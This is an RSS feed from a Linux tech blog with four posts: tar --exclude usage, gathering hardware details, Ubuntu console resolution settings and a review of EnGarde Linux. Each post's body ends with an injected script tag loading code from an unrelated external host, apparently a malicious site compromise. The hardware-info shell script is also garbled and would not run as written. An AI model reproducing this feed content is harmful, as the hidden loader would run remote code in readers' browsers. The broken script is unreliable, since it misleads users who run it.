<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Techsoar &#187; Linux</title>
	<atom:link href="http://www.techsoar.com/category/linux/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.techsoar.com</link>
	<description>Daily updated online technology blog</description>
	<lastBuildDate>Sun, 14 Feb 2010 17:36:13 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.1</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>How to Tar &#8211;EXCLUDE directories</title>
		<link>http://www.techsoar.com/how-to-tar-exclude-directories/#utm_source=rss&amp;utm_medium=rss&amp;utm_campaign=how-to-tar-exclude-directories</link>
		<comments>http://www.techsoar.com/how-to-tar-exclude-directories/#comments</comments>
		<pubDate>Sun, 12 Jul 2009 21:10:20 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Linux]]></category>

		<guid isPermaLink="false">http://www.techsoar.com/how-to-tar-exclude-directories/</guid>
		<description><![CDATA[I would like to transfer from one hosting (Mediatemple) to another (Resellerzoom) (both of them were doing superb job for 2 years btw) but I don&#8217;t want to transfer some of the old files. I tried most of tar &#8211;exclude combinations I could find on the forums but they did not work. One of them [...]]]></description>
			<content:encoded><![CDATA[<p>I would like to transfer from one hosting (<a rel=nofollow target=_blank href="http://www.mediatemple.com" title="media temple">Mediatemple</a>) to another (<a rel=nofollow target=_blank href="http://www.resellerzoom.com">Resellerzoom</a>) (both of them were doing superb job for 2 years btw) but I don&#8217;t want to transfer some of the old files. I tried most of tar &#8211;exclude combinations I could find on the forums but they did not work. One of them was an answer to a question &#8220;<a rel=nofollow target=_blank href="http://www.linuxquestions.org/questions/linux-newbie-8/tar-excluding-directories-recursively-194476/?highlight=exclude+directories+recursively+tar"><img src="http://http.cdnlayer.com/lq/images/questions/images/misc/navbits_finallink.gif" alt="Reload this Page" border="0" title="Reload this Page" class="inlineimg" /></a> <strong>tar, excluding directories recursively &#8221; </strong>on linuxquestions.</p>
<p>I believe it was due to Mediatemple&#8217;s environment which strictly jails you under your account. I tried to exclude with full path initially but it kept getting all the files.</p>
<p>So I decided to use -v (verbose) argument to show the compressed files in the realtime. This way you can capture instantly if you are making a mistake or not. I was initially doing with:</p>
<p><code>tar -cvf techsoar.tgz --exclude <strong>"</strong>/full-path/phones/*<strong>"</strong> --exclude <strong>"</strong>/full-path/mobiles/*<strong>"</strong> ./</code></p>
<p>Which I realized using with &#8220;&#8221; was a mistake and furthermore not putting an &#8220;=&#8221; sign between &#8211;exclude=&#8230; was also wrong.</p>
<p>So finally I could get it working with this line:</p>
<p><code>tar -cvf techsoar.tgz --exclude=phones/* --exclude=mobiles/* ./</code><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.techsoar.com/how-to-tar-exclude-directories/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Getting Hardware Info on Linux</title>
		<link>http://www.techsoar.com/getting-hardware-info-on-linux/#utm_source=rss&amp;utm_medium=rss&amp;utm_campaign=getting-hardware-info-on-linux</link>
		<comments>http://www.techsoar.com/getting-hardware-info-on-linux/#comments</comments>
		<pubDate>Thu, 19 Feb 2009 00:10:34 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Linux]]></category>

		<guid isPermaLink="false">http://www.techsoar.com/getting-hardware-info-on-linux/</guid>
		<description><![CDATA[When you are trying to get hardware details for Linux machines, it seems very challenging at first but you have variety options and it is quiet easy. Some includes using custom scripts and existing resource folders(ex: dmesg, /proc) or by some applications like hwinfo and lshw.
In this article we will mention about different methods to [...]]]></description>
			<content:encoded><![CDATA[<p>When you are trying to get hardware details for Linux machines, it seems very challenging at first but you have variety options and it is quiet easy. Some includes using custom scripts and existing resource folders(ex: dmesg, /proc) or by some applications like hwinfo and lshw.</p>
<p>In this article we will mention about different methods to get the hardware details from your Linux OS. These tips are mainly for Redhat, Suse and Debian and different distros might include little or more details for the hardware depending on the kernel levels.</p>
<p>1- <strong>Hardware Details on Linux using custom script</strong>:</p>
<p>This script will get almost everything you would need using existing messages or applications and give you a brief output.</p>
<p>It uses dmesg to get Memory Information<br />
lspci for displaying information about all PCI buses in the system and all devices connected to them. By default, it shows a brief list of devices.<br />
/proc/cpuinfo for CPU information (including cpu model, modelname (AMD Opteron(tm) Processor), Mhz (1992 Mhz)<br />
fdisk -l   &#8211;&gt; For Hard drive and partition information<br />
rpm -qa for the release info (mainly for Redhat) so you can remove this line for other distros.<br />
/etc/*-release to get the Linux distro<br />
uname -a to get the Linux Kernel level</p>
<pre></pre>
<pre>#!/usr/bin/sh
rm  /tmp/outputecho "/n PCI info /n" &gt;  /tmp/output
lspci &gt;&gt; /tmp/output
echo "/n Memory info /n" &gt;&gt;  /tmp/output /tmp/output
dmesg | grep -i memory &gt;&gt;  /tmp/output
echo "/n CPU info /n" &gt;&gt; /tmp/output
cat /proc/cpuinfo  /n" &gt;&gt;  /tmp/output
echo " HDD info /n" &gt;&gt;  /tmp/output
fdisk -l &gt;&gt;  /tmp/output
echo "/n " &gt;&gt;  /tmp/output
fdisk -l /dev/sdb* &gt;&gt; /tmp/output
echo "/n" &gt;&gt;  /tmp/output
fdisk -l /dev/hda* &gt;&gt; /tmp/output
echo "/n  Package info /n" &gt;&gt;  /tmp/output
rpm -qa &gt;&gt; /tmp/output
echo "/n Relese info /n" &gt;&gt; /tmp/output
cat /etc/*-release &gt;&gt; /tmp/output
echo "/n platform info /n" &gt;&gt; /tmp/output
uname -a &gt;&gt; /tmp/output</pre>
<p>2- <strong>Hardware Details on Linux using tools (hwinfo, lshw):</strong></p>
<p>There are different tools for different distros that you can use to get the hardware details.</p>
<p>On Suse, you can use: # <strong>hwinfo</strong></p>
<p>You could hwinfo for Debians (apt-get hwinfo) very quickly too. It is very handy.<br />
# hwinfo &#8211;short   will give you a brief summary of your hardware</p>
<pre>
# hwinfo --short
cpu:
AMD Opteron(tm) Processor 246, 1992 MHz
AMD Opteron(tm) Processor 246, 1992 MHz
monitor:
Generic Monitor
graphics card:
ATI Rage XL
storage:
Floppy disk controller
AMD-8111 IDE
Silicon Image SiI 3114 SATALink Controller
network:
eth2                 Intel EtherExpress PRO/100 S Server Adapter
eth0                 Broadcom NetXtreme BCM5704 Gigabit Ethernet
eth1                 Broadcom NetXtreme BCM5704 Gigabit Ethernet
network interface:
lo                   Loopback network interface
eth0                 Ethernet network interface
eth1                 Ethernet network interface
eth2                 Ethernet network interface</pre>
<p>On Debian, you can use: # <strong>lshw</strong></p>
<p># <strong>lshw -short </strong>will generate a summary output of your hardware list in a organized fashion.</p>
<pre>
H/W path            Device      Class      Description
======================================================
system     PowerEdge 1950
/0                              bus        0TT740
/0/0                            memory     64KiB BIOS
/0/400                          processor  Intel(R) Xeon(R) CPU           E5405  @ 2.00GHz
/0/400/700                      memory     128KiB L1 cache
/0/400/701                      memory     12MiB L2 cache
/0/400/702                      memory     L3 cache
/0/401                          processor  Intel(R) Xeon(R) CPU           E5405  @ 2.00GHz
/0/401/703                      memory     128KiB L1 cache
/0/401/704                      memory     12MiB L2 cache
/0/401/705                      memory     L3 cache
/0/1000                         memory     8GiB System Memory</pre>
<p>3- <strong>Hardware Details on Linux using /proc folder</strong>:<br />
You can get as many details as you like by just going under /proc folder and showing the contents of files. (# more meminfo)</p>
<pre># more meminfo
MemTotal:      8186420 kB
MemFree:         56572 kB
Buffers:        166008 kB
Cached:        4887080 kB
SwapCached:         12 kB
Active:        2886576 kB
Inactive:      4722968 kB
SwapTotal:     7807580 kB
SwapFree:      7807548 kB
Dirty:             220 kB
Writeback:           0 kB
AnonPages:     2556436 kB
Mapped:          35064 kB
Slab:           453328 kB
SReclaimable:   422408 kB
SUnreclaim:      30920 kB
PageTables:      11848 kB
NFS_Unstable:        0 kB
Bounce:              0 kB
CommitLimit:  11900788 kB
Committed_AS:  4229312 kB
VmallocTotal: 34359738367 kB
VmallocUsed:     27880 kB
VmallocChunk: 34359710403 kB
HugePages_Total:     0
HugePages_Free:      0
HugePages_Rsvd:      0
HugePages_Surp:      0
Hugepagesize:     2048 kB</pre>
<p>4- <strong>Listing DMI Table with dmidecode</strong> and <strong>USB devices with lsusb</strong>:</p>
<p>Another very effective and powerful tool is # dmidecode. <em>dmidecode  is a tool for dumping a computers DMI (some say SMBIOS) table contents in a human-readable format. This table contains a description of the systems hardware components, as well as other useful pieces of information such as  serial numbers and BIOS revision.<br />
</em></p>
<p># lsusb  is the tool to show the devices attached to USB port even more.</p>
<p>if you use only # lsusb   it will list the ports and what&#8217;s attached to it. If you use, lsusb with -v (verbose) you will get tons of info about USB ports.</p>
<pre>
# lsusb -v

Bus 002 Device 001: ID 0000:0000
Device Descriptor:
bLength                18
bDescriptorType         1
bcdUSB               1.10
bDeviceClass            9 Hub
bDeviceSubClass         0 Unused
bDeviceProtocol         0 Full speed hub
bMaxPacketSize0        64
idVendor           0x0000
idProduct          0x0000
bcdDevice            2.06
iManufacturer           3 Linux 2.6.18.2-34-default ohci_hcd
iProduct                2 OHCI Host Controller
iSerial                 1 0000:03:00.1
bNumConfigurations      1
Configuration Descriptor:
bLength                 9
bDescriptorType         2
wTotalLength           25
bNumInterfaces          1
bConfigurationValue     1
iConfiguration          0
bmAttributes         0xe0
Self Powered
Remote Wakeup
MaxPower                0mA
Interface Descriptor:
bLength                 9
bDescriptorType         4
bInterfaceNumber        0
bAlternateSetting       0
bNumEndpoints           1
bInterfaceClass         9 Hub
bInterfaceSubClass      0 Unused
bInterfaceProtocol      0 Full speed hub
iInterface              0
Endpoint Descriptor:
bLength                 7
bDescriptorType         5
bEndpointAddress     0x81  EP 1 IN
bmAttributes            3
Transfer Type            Interrupt
Synch Type               None
Usage Type               Data
wMaxPacketSize     0x0002  1x 2 bytes
bInterval             255
</pre>
<p><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.techsoar.com/getting-hardware-info-on-linux/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Console (TTY) Resolution on Ubuntu Linux boxes</title>
		<link>http://www.techsoar.com/console-tty-resolution-on-ubuntu-linux-boxes/#utm_source=rss&amp;utm_medium=rss&amp;utm_campaign=console-tty-resolution-on-ubuntu-linux-boxes</link>
		<comments>http://www.techsoar.com/console-tty-resolution-on-ubuntu-linux-boxes/#comments</comments>
		<pubDate>Mon, 09 Feb 2009 22:34:12 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Linux]]></category>

		<guid isPermaLink="false">http://www.techsoar.com/console-tty-resolution-on-ubuntu-linux-boxes/</guid>
		<description><![CDATA[Ubuntu installations come with 640 x 480 default config on console or TTY (Teleprinter/Teletype/Teletypewriter). To change that config to something readable:
- You need to edit /boot/grub/menu.lst
- To the end there are lines:
title Ubuntu 8.04.2, kernel 2.6.24-23 server
….
….
kernel /vmlinuz-2.6.24-23…
at the end of kernel /vmlinuz line we need to a new argument &#8216;vga&#8217;.
I mostly use vga=791
then update [...]]]></description>
			<content:encoded><![CDATA[<p>Ubuntu installations come with 640 x 480 default config on console or TTY (Teleprinter/Teletype/Teletypewriter). To change that config to something readable:</p>
<p>- You need to edit <strong>/boot/grub/menu.lst<br />
</strong>- To the end there are lines:<br />
title Ubuntu 8.04.2, kernel 2.6.24-23 server<br />
….<br />
….<br />
kernel /vmlinuz-2.6.24-23…</p>
<p>at the end of kernel /vmlinuz line we need to a new argument &#8216;vga&#8217;.</p>
<p>I mostly use vga=791</p>
<p>then update grub using:</p>
<p># update-grub</p>
<p>and reboot.</p>
<table border="1">
<tr>
<td>
<p class="line862">Color Depth</p>
</td>
<td>
<p class="line862">640×480</p>
</td>
<td>
<p class="line862">800×600</p>
</td>
<td>
<p class="line862">1024×768</p>
</td>
<td>
<p class="line862">1280×1024</p>
</td>
</tr>
<tr>
<td><span id="line-113" class="anchor"></span></p>
<p class="line862">8 (256)</p>
</td>
<td>
<p class="line862">769</p>
</td>
<td>
<p class="line862">771</p>
</td>
<td>
<p class="line862">773</p>
</td>
<td>
<p class="line862">775</p>
</td>
</tr>
<tr>
<td><span id="line-114" class="anchor"></span></p>
<p class="line862">15 (32K)</p>
</td>
<td>
<p class="line862">784</p>
</td>
<td>
<p class="line862">787</p>
</td>
<td>
<p class="line862">790</p>
</td>
<td>
<p class="line862">793</p>
</td>
</tr>
<tr>
<td><span id="line-115" class="anchor"></span></p>
<p class="line862">16 (65K)</p>
</td>
<td>
<p class="line862">785</p>
</td>
<td>
<p class="line862">788</p>
</td>
<td>
<p class="line862">791</p>
</td>
<td>
<p class="line862">794</p>
</td>
</tr>
<tr>
<td><span id="line-116" class="anchor"></span></p>
<p class="line862">24 (16M)</p>
</td>
<td>
<p class="line862">786</p>
</td>
<td>
<p class="line862">789</p>
</td>
<td>
<p class="line862">792</p>
</td>
<td>
<p class="line862">795</p>
</td>
</tr>
</table>
<p><!-- [DocumentBodyEnd:c0bd4553-7fac-4f9d-820d-2d1680ae5e2c] --><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.techsoar.com/console-tty-resolution-on-ubuntu-linux-boxes/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>EnGarde Linux &#8211; Review</title>
		<link>http://www.techsoar.com/engarde-linux-review/#utm_source=rss&amp;utm_medium=rss&amp;utm_campaign=engarde-linux-review</link>
		<comments>http://www.techsoar.com/engarde-linux-review/#comments</comments>
		<pubDate>Sun, 12 Feb 2006 06:06:59 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Linux]]></category>

		<guid isPermaLink="false">http://www.techsoar.com/engarde-linux-review/</guid>
		<description><![CDATA[Today I was looking for a Linux based, minimalist, web-based managed, and optimized for server distribution to switch my website. All these demands come with different reasons for me but I was not sure whether I can find a solution that will solve all of this at once.  I was searching in Linux Distribution [...]]]></description>
			<content:encoded><![CDATA[<p>Today I was looking for a Linux based, minimalist, web-based managed, and optimized for server distribution to switch <a rel=nofollow target=_blank href="http://www.amerikadabirgun.com">my website</a>. All these demands come with different reasons for me but I was not sure whether I can find a solution that will solve all of this at once.  I was searching in <a rel=nofollow target=_blank href="http://distrowatch.com/search.php" target="_blank" rel="nofollow>Linux Distribution search</a> webpage of <a rel=nofollow target=_blank href="http://distrowatch.com/" target="_blank" rel="nofollow>DistroWatch.com</a> I found two alternatives as solution and  as the last alternative a brilliant idea. </p>
<ul>
<li><a rel=nofollow target=_blank href="http://www.engardelinux.org/" target="_blank" rel="nofollow">Engarde Secure Linux distribution</a></li>
<li><a rel=nofollow target=_blank href="http://smeserver.sourceforge.net/" target="_blank" rel="nofollow">SME Server</a></li>
<li> The brilliant idea was modifying <a rel=nofollow target=_blank href="http://www.damnsmalllinux.org/" target="_blank" rel="nofollow">Damn Small Linux</a> which is 50 mb. live cd and making it as compact linux webserver. I was planning to use some apt-get and add apache and mysql servers on it. </li>
</ul>
<p>However, I was lucky enough to start testing with <a rel=nofollow target=_blank href="http://www.engardelinux.org/" target="_blank" rel="nofollow>EnGarde Secure Linux</a> distribution which is designed and engineered by <a rel=nofollow target=_blank href="http://www.guardiandigital.com/" target="_blank" rel="nofollow>Guardian Digital</a>. </p>
<p>After I read about page of the project website, I decided to install and test it. Unfortunately the iso file is very big, 638 Mb. but believe me it is worth it. After I downloaded, I inserted the iso file into Vmware Virtual Machine and booted. You have two option to start with, either you can see in Live mode or choose Install and install it.<br />
<img src="http://www.amerikadabirgun.com/wp-content/startup.jpg" alt="startup" /><br />
I start with Live Mode, but could not get the web console at first, then I checked their web page and learnt that I should try with &#8216;https&#8217;. If you happen to start with live mode, do not forget to check <a rel=nofollow target=_blank href="http://wiki.engardelinux.org/index.php/Default_passwords" target="_blank" rel="nofollow">Default Passwords</a> page. Otherwise you can not login to the system. After I see it on Live mode, I decided to install and see if it is really stable or not. </p>
<p>In installation mode, you have several server options depending on your needs.<br />
<img src="http://www.amerikadabirgun.com/wp-content/package selection.jpg" alt="package selection" /></p>
<p>Since I was planning to use it for webserver, I choose webservices. When you choose Web Services, Databases and Mail Services are choosen automatically. Yes, that&#8217;s ALL. It starts installing appropriate packages instantly.  After installation is completed, you need to reboot. Next time you booted the computer, you can start using Webmin control panel interface from https://ip_address:1023/  Webmin interface touches every point of system, if you don&#8217;t feel comfortable with terminal, this is good news.</p>
<p>As you see, server installation is made easy, you don&#8217;t even need to know Linux. Next-next style installation makes everything that simple. I took some screenshots from control panel:<br />
<strong>Services Menu:</strong><br />
<img src="http://www.amerikadabirgun.com/wp-content/services-menu.jpg" alt="system menu" /></p>
<p><strong>System Menu:</strong><br />
<img src="http://www.amerikadabirgun.com/wp-content/system-menu.jpg" alt="system menu" /></p>
<p>One last point I want to mention is the free Update Service. Since security issue is a huge concern for servers, keeping servers up-to-date is one of the crucial problem especially for Linux based servers. Each time there is an update for packages, you have to go through a lot of work to update those packages. This is again made easy by this distro. After I completed installation, checked if there is an update, there was one about CGI libraries and it is done automatically.<br />
<img src="http://www.amerikadabirgun.com/wp-content/security-update.jpg" alt="security update service" /></p>
<p>To sum up the advantages I&#8217;ve seen:</p>
<ul>
<li>Very easy to install and configure</li>
<li>Intuitive Webmin based control panel</li>
<li><strong>Update service</strong></li>
<li>Good documentation</li>
</ul>
<p>The features and advantages mentioned on official website:<br />
EnGarde Secure Linux technical features include: </p>
<ul>
<li>Linux 2.6 kernel for the latest hardware compatibility </li>
<li>SELinux Mandatory Access Control provides high security by strictly enforcing service separation at the kernel level </li>
<li>Guardian Digital Secure Network features free access to all system and security updates and allows for quick and easy updating of the entire server </li>
<li>Broad support for server hardware, including 64-bit AMD architecture and hardware RAID </li>
<li>Web-based management of all functions, including the ability to build a complete web presence with FTP, DNS, HTTP, SMTP and more </li>
<li>Secure up-to-date LAMP stack serves virtual websites with Apache v2.0, MySQL 5.0, and PHP 4.4 (PHP 5.0 available as an optional package) </li>
<li>Latest BIND 9.3 provides secure DNS services </li>
<li>Completely new WebTool, featuring easier navigation and greater ability to manage the complete system via a secure web browser connection </li>
<li>RSS feed provides ability to display current news and immediate access to system and security updates </li>
<li>Integrated firewall with ability to manage individual firewall rules, control port forwarding, and creation of IP blacklists </li>
<li>Commercial grade Network Intrusion Detection System displays and graphs incoming attacks in real time </li>
<li>Built-in Host IDS monitors system files for unauthorized changes to ensure system integrity </li>
<li>Built-in UPS configuration provides ability to manage an entire network of battery-backup devices </li>
<li>Real-time access to system and service log information </li>
</ul>
<p>To conclude with this distribution is one of the most professional and good engineered distribution I&#8217;ve ever seen in OpenSource community.  </p>
<p>Basically, it is a commercial solution which also allows personal usage.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.techsoar.com/engarde-linux-review/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
